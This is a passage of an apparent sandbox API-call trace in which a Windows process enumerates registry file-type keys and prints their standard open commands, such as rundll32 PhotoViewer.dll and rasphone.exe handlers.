RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PairingFolderItem\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.238] SetLastError (dwErrCode=0x2) [0101.238] RegCloseKey (hKey=0x0) returned 0x6 [0101.238] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb13, lpName=0x2eef50, cchName=0x104 | out: lpName="PairingFolderItemBluetooth") returned 0x0 [0101.238] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PairingFolderItemBluetooth\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.238] SetLastError (dwErrCode=0x2) [0101.238] RegCloseKey (hKey=0x0) returned 0x6 [0101.238] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb14, lpName=0x2eef50, cchName=0x104 | out: lpName="partition") returned 0x0 [0101.238] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="partition\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.238] SetLastError (dwErrCode=0x2) [0101.238] RegCloseKey (hKey=0x0) returned 0x6 [0101.238] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb15, lpName=0x2eef50, cchName=0x104 | out: lpName="Pathname") returned 0x0 [0101.238] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Pathname\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.238] SetLastError (dwErrCode=0x2) [0101.238] RegCloseKey (hKey=0x0) returned 0x6 [0101.238] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb16, lpName=0x2eef50, cchName=0x104 | out: lpName="pbkfile") returned 0x0 [0101.238] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="pbkfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.239] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x56) returned 0x0 [0101.239] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x56 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\system32\\rasphone.exe -f \"%1\"", lpcbData=0x2eef20*=0x56) returned 0x0 [0101.239] RegCloseKey (hKey=0x64) returned 0x0 [0101.239] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="pbkfile=%SystemRoot%\\system32\\rasphone.exe -f \"%1\"\r\n") returned 52 [0101.239] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.239] GetFileType (hFile=0x5c) returned 0x3 [0101.239] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pbkfile=%SystemRoot%\\system32\\rasphone.exe -f \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pbkfile=%SystemRoot%\\system32\\rasphone.exe -f \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53 [0101.239] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x34, lpOverlapped=0x0) returned 1 [0101.250] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb17, lpName=0x2eef50, cchName=0x104 | out: lpName="PBrush") returned 0x0 [0101.250] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PBrush\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.250] SetLastError (dwErrCode=0x2) [0101.250] RegCloseKey (hKey=0x0) returned 0x6 [0101.250] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb18, lpName=0x2eef50, cchName=0x104 | out: lpName="PCBFile") returned 0x0 [0101.251] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PCBFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.251] SetLastError (dwErrCode=0x2) [0101.251] RegCloseKey (hKey=0x0) returned 0x6 [0101.251] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb19, lpName=0x2eef50, cchName=0x104 | out: lpName="PDFPrevHndlr.PDFPreviewHandler") returned 0x0 [0101.251] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDFPrevHndlr.PDFPreviewHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.251] SetLastError (dwErrCode=0x2) [0101.251] RegCloseKey (hKey=0x0) returned 0x6 [0101.251] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1a, lpName=0x2eef50, cchName=0x104 | out: lpName="PDFPrevHndlr.PDFPreviewHandler.1") returned 0x0 [0101.251] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDFPrevHndlr.PDFPreviewHandler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.251] SetLastError (dwErrCode=0x2) [0101.251] RegCloseKey (hKey=0x0) returned 0x6 [0101.251] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1b, lpName=0x2eef50, cchName=0x104 | out: lpName="PDFShell.PDFShell") returned 0x0 [0101.251] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDFShell.PDFShell\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.251] SetLastError (dwErrCode=0x2) [0101.251] RegCloseKey (hKey=0x0) returned 0x6 [0101.251] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1c, lpName=0x2eef50, cchName=0x104 | out: lpName="PDFShell.PDFShell.1") returned 0x0 [0101.251] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDFShell.PDFShell.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.251] SetLastError (dwErrCode=0x2) [0101.251] RegCloseKey (hKey=0x0) returned 0x6 [0101.251] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1d, lpName=0x2eef50, cchName=0x104 | out: lpName="PDFShellServer.PDFShellInfo") returned 0x0 [0101.252] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDFShellServer.PDFShellInfo\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.252] SetLastError (dwErrCode=0x2) [0101.252] RegCloseKey (hKey=0x0) returned 0x6 [0101.252] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1e, lpName=0x2eef50, cchName=0x104 | out: lpName="PDFShellServer.PDFShellInfo.1") returned 0x0 [0101.252] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDFShellServer.PDFShellInfo.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.252] SetLastError (dwErrCode=0x2) [0101.252] RegCloseKey (hKey=0x0) returned 0x6 [0101.252] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1f, lpName=0x2eef50, cchName=0x104 | out: lpName="PDFShellServer.PDFShellInfo2") returned 0x0 [0101.252] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDFShellServer.PDFShellInfo2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.252] SetLastError (dwErrCode=0x2) [0101.252] RegCloseKey (hKey=0x0) returned 0x6 [0101.252] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb20, lpName=0x2eef50, cchName=0x104 | out: lpName="PDFShellServer.PDFShellInfo2.1") returned 0x0 [0101.252] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDFShellServer.PDFShellInfo2.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.252] SetLastError (dwErrCode=0x2) [0101.252] RegCloseKey (hKey=0x0) returned 0x6 [0101.252] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb21, lpName=0x2eef50, cchName=0x104 | out: lpName="Pdump.ProcessDump") returned 0x0 [0101.252] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Pdump.ProcessDump\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.252] SetLastError (dwErrCode=0x2) [0101.252] RegCloseKey (hKey=0x0) returned 0x6 [0101.252] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb22, lpName=0x2eef50, cchName=0x104 | out: lpName="PDXFileType") returned 0x0 [0101.253] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PDXFileType\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.253] SetLastError (dwErrCode=0x2) [0101.253] RegCloseKey (hKey=0x0) returned 0x6 [0101.253] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb23, lpName=0x2eef50, cchName=0x104 | out: lpName="PeerDraw.PeerDraw") returned 0x0 [0101.253] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PeerDraw.PeerDraw\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.253] SetLastError (dwErrCode=0x2) [0101.253] RegCloseKey (hKey=0x0) returned 0x6 [0101.253] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb24, lpName=0x2eef50, cchName=0x104 | out: lpName="PeerDraw.PeerDraw.1") returned 0x0 [0101.253] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PeerDraw.PeerDraw.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.253] SetLastError (dwErrCode=0x2) [0101.253] RegCloseKey (hKey=0x0) returned 0x6 [0101.253] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb25, lpName=0x2eef50, cchName=0x104 | out: lpName="PeerFactory.PeerFactory") returned 0x0 [0101.253] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PeerFactory.PeerFactory\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.253] SetLastError (dwErrCode=0x2) [0101.253] RegCloseKey (hKey=0x0) returned 0x6 [0101.253] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb26, lpName=0x2eef50, cchName=0x104 | out: lpName="PeerFactory.PeerFactory.1") returned 0x0 [0101.253] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PeerFactory.PeerFactory.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.253] SetLastError (dwErrCode=0x2) [0101.253] RegCloseKey (hKey=0x0) returned 0x6 [0101.253] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb27, lpName=0x2eef50, cchName=0x104 | out: lpName="PenIMC.PimcManager.2") returned 0x0 [0101.254] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PenIMC.PimcManager.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.254] SetLastError (dwErrCode=0x2) [0101.254] RegCloseKey (hKey=0x0) returned 0x6 [0101.254] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb28, lpName=0x2eef50, cchName=0x104 | out: lpName="PenIMC.PimcManager.4") returned 0x0 [0101.254] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PenIMC.PimcManager.4\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.254] SetLastError (dwErrCode=0x2) [0101.254] RegCloseKey (hKey=0x0) returned 0x6 [0101.254] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb29, lpName=0x2eef50, cchName=0x104 | out: lpName="PenIMC.PimcSurrogate.2") returned 0x0 [0101.254] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PenIMC.PimcSurrogate.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.254] SetLastError (dwErrCode=0x2) [0101.254] RegCloseKey (hKey=0x0) returned 0x6 [0101.254] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2a, lpName=0x2eef50, cchName=0x104 | out: lpName="PenIMC.PimcSurrogate.4") returned 0x0 [0101.254] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PenIMC.PimcSurrogate.4\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.254] SetLastError (dwErrCode=0x2) [0101.254] RegCloseKey (hKey=0x0) returned 0x6 [0101.254] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2b, lpName=0x2eef50, cchName=0x104 | out: lpName="PenInputPanel.PenInputPanel") returned 0x0 [0101.254] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PenInputPanel.PenInputPanel\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.254] SetLastError (dwErrCode=0x2) [0101.254] RegCloseKey (hKey=0x0) returned 0x6 [0101.255] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2c, lpName=0x2eef50, cchName=0x104 | out: lpName="PenInputPanel.PenInputPanel.1") returned 0x0 [0101.255] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PenInputPanel.PenInputPanel.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.255] SetLastError (dwErrCode=0x2) [0101.255] RegCloseKey (hKey=0x0) returned 0x6 [0101.255] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2d, lpName=0x2eef50, cchName=0x104 | out: lpName="PerfFile") returned 0x0 [0101.255] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PerfFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.255] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x90) returned 0x0 [0101.255] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x90 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\system32\\mmc.exe %systemroot%\\system32\\perfmon.msc /F \"%1\"", lpcbData=0x2eef20*=0x90) returned 0x0 [0101.255] RegCloseKey (hKey=0x64) returned 0x0 [0101.255] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PerfFile=%SystemRoot%\\system32\\mmc.exe %systemroot%\\system32\\perfmon.msc /F \"%1\"\r\n") returned 82 [0101.255] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.255] GetFileType (hFile=0x5c) returned 0x3 [0101.255] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PerfFile=%SystemRoot%\\system32\\mmc.exe %systemroot%\\system32\\perfmon.msc /F \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PerfFile=%SystemRoot%\\system32\\mmc.exe %systemroot%\\system32\\perfmon.msc /F \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83 [0101.255] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0101.256] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2e, lpName=0x2eef50, cchName=0x104 | out: lpName="pfmfile") returned 0x0 [0101.256] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="pfmfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.256] SetLastError (dwErrCode=0x2) [0101.256] RegCloseKey (hKey=0x0) returned 0x6 [0101.256] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2f, lpName=0x2eef50, cchName=0x104 | out: lpName="PFXFile") returned 0x0 [0101.256] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PFXFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.256] SetLastError (dwErrCode=0x2) [0101.256] RegCloseKey (hKey=0x0) returned 0x6 [0101.256] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb30, lpName=0x2eef50, cchName=0x104 | out: lpName="PhotoViewer.FileAssoc.Bitmap") returned 0x0 [0101.256] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PhotoViewer.FileAssoc.Bitmap\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.256] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.256] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.257] RegCloseKey (hKey=0x64) returned 0x0 [0101.257] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PhotoViewer.FileAssoc.Bitmap=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 144 [0101.257] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.257] GetFileType (hFile=0x5c) returned 0x3 [0101.257] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Bitmap=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Bitmap=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 145 [0101.257] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x90, lpOverlapped=0x0) returned 1 [0101.257] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb31, lpName=0x2eef50, cchName=0x104 | out: lpName="PhotoViewer.FileAssoc.JFIF") returned 0x0 [0101.257] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PhotoViewer.FileAssoc.JFIF\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.257] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.257] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.257] RegCloseKey (hKey=0x64) returned 0x0 [0101.257] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PhotoViewer.FileAssoc.JFIF=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 142 [0101.258] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.258] GetFileType (hFile=0x5c) returned 0x3 [0101.258] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.JFIF=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.JFIF=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143 [0101.258] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x8e, lpOverlapped=0x0) returned 1 [0101.258] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb32, lpName=0x2eef50, cchName=0x104 | out: lpName="PhotoViewer.FileAssoc.Jpeg") returned 0x0 [0101.258] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PhotoViewer.FileAssoc.Jpeg\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.258] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.258] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.258] RegCloseKey (hKey=0x64) returned 0x0 [0101.258] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PhotoViewer.FileAssoc.Jpeg=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 142 [0101.258] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.258] GetFileType (hFile=0x5c) returned 0x3 [0101.258] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Jpeg=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Jpeg=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143 [0101.258] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x8e, lpOverlapped=0x0) returned 1 [0101.259] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb33, lpName=0x2eef50, cchName=0x104 | out: lpName="PhotoViewer.FileAssoc.Png") returned 0x0 [0101.259] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PhotoViewer.FileAssoc.Png\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.259] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.259] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.259] RegCloseKey (hKey=0x64) returned 0x0 [0101.259] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PhotoViewer.FileAssoc.Png=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 141 [0101.259] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.259] GetFileType (hFile=0x5c) returned 0x3 [0101.259] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Png=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Png=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 142 [0101.259] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x8d, lpOverlapped=0x0) returned 1 [0101.260] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb34, lpName=0x2eef50, cchName=0x104 | out: 